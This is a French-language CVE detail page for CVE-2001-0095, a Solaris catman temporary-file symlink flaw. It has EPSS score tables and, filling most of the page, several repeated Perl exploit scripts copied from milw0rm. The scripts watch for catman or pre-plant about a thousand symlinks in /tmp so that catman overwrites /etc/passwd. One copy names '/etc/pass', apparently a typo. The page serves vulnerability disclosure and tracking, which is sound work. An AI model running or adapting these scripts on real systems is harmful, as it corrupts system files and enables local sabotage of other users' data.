CVE-2001-0095 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.14%
2025-03-30	–	–	–	–	0.14%
2025-03-30	–	–	–	–	0.14,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	32%
2025-03-30	31%
2025-03-30	31%

#!/usr/local/bin/perl -w # # The problem is catman creates files in /tmp # insecurly. They are based on the PID of the # catman process, catman will happily clobber # any files that are symlinked to that file. # The idea of this script is to watch the # process list for the catman process, get # the pid and Create a symlink in /tmp to our # file to be clobbered. This exploit depends # on system speed and process load. This # worked on a patched Solaris 2.7 box (August # 2000 patch cluster) # SunOS rootabega 5.7 Generic_106541-12 sun4u # sparc SUNW,Ultra-1 lwc@vapid.betteros.org # 11/21/2000 Vapid Labs. # http://vapid.betteros.org $clobber = "/etc/passwd"; while(1) { open ps,"ps -ef | grep -v grep |grep -v PID |"; while(<ps>) { @args = split " ", $_; if (/catman/) { print "Symlinking sman_$args[1] to $clobber\n"; symlink($clobber,"/tmp/sman_$args[1]"); exit(1); } } } # milw0rm.com [2000-12-20]

source: https://www.securityfocus.com/bid/2149/info catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users. The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. #!/usr/local/bin/perl -w # The problem is catman creates files in /tmp insecurly. They are based on the # PID of the catman process, catman will happily clobber any files that are # symlinked to that file. # The idea of this script is to create a block of symlinks to the target file # with the current PID as a starting point. Depending on what load your # system has this creates 1000 files in /tmp as sman_$currentpid + 1000. # The drawback is you would have to know around when root would be executing # catman. # A better solution would be to monitor for the catman process and create the # link before catman creates the file. I think this is a really small window # however. This worked on a patched Solaris 2.7 box (August 2000 patch # cluster) # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 # lwc@vapid.betteros.org 11/21/2000 Vapid Labs. # http://vapid.betteros.org $clobber = "/etc/passwd"; #file to clobber $X=getpgrp(); $Xc=$X; #Constant $Y=$X+1000;#Constant while($X < $Y) { print "Linking /tmp/sman_$X to $clobber :"; # Change $clobber to what you want to clobber. if (symlink ($clobber, "/tmp/sman_$X")) { print "Sucess\n"; } else { print "failed, Busy system?\n";} $X=$X+1; } #Watch /tmp and see if catman is executed in time. while(1) { $list = "/usr/bin/ls -l /tmp | grep sman|grep root |"; open (list,$list) or "die cant open ls...\n"; while(<list>) { @args = split "_",$_; chop ($args[1]); if ($args[1] >= $Xc && $args[1] <= $Y){ print "Looks like pid $args[1] is the winner\n cleaning....\n"; `/usr/bin/rm -f /tmp/sman*`; exit(1); } } }

source: https://www.securityfocus.com/bid/2149/info catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users. The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. #!/usr/local/bin/perl -w # The problem is catman creates files in /tmp insecurly. They are based on the PID of the catman # process, catman will happily clobber any files that are symlinked to that file. # The idea of this script is to watch the process list for the catman process, # get the pid and Create a symlink in /tmp to our file to be # clobbered. This exploit depends on system speed and process load. # This worked on a patched Solaris 2.7 box (August 2000 patch cluster) # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 # lwc@vapid.betteros.org 11/21/2000 Vapid Labs. # http://vapid.betteros.org $clobber = "/etc/pass"; while(1) { open ps,"ps -ef | grep -v grep |grep -v PID |"; while(<ps>) { @args = split " ", $_; if (/catman/) { print "Symlinking sman_$args[1] to $clobber\n"; symlink($clobber,"/tmp/sman_$args[1]"); exit(1); } } }

#!/usr/local/bin/perl -w # # The problem is catman creates files in /tmp insecurly. # They are based on the PID of the catman process, # catman will happily clobber any files that are # symlinked to that file. The idea of this script is to # create a block of symlinks to the target file with # the current PID as a starting point. Depending on # what load your system has this creates 1000 files in # /tmp as sman_$currentpid + 1000. # # The drawback is you would have to know around when root # would be executing catman. A better solution would be # to monitor for the catman process and create the link # before catman creates the file. I think this is a # really small window however. This worked on a patched # Solaris 2.7 box (August 2000 patch cluster) # # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 # lwc@vapid.betteros.org 11/21/2000 Vapid Labs. # http://vapid.betteros.org $clobber = "/etc/passwd"; #file to clobber $X=getpgrp(); $Xc=$X; #Constant $Y=$X+1000;#Constant while($X < $Y) { print "Linking /tmp/sman_$X to $clobber :"; # Change $clobber to what you want to clobber. if (symlink ($clobber, "/tmp/sman_$X")) { print "Sucess\n"; } else { print "failed, Busy system?\n";} $X=$X+1; } #watch /tmp and see if catman is executed in time. while(1){ $list = "/usr/bin/ls -l /tmp | grep sman|grep root |"; open (list,$list) or "die cant open ls...\n"; while(<list>) { @args = split "_",$_; chop ($args[1]); if ($args[1] >= $Xc && $args[1] <= $Y){ print "Looks like pid $args[1] is the winner\n cleaning....\n"; `/usr/bin/rm -f /tmp/sman*`; exit(1); } } } # milw0rm.com [2000-12-19]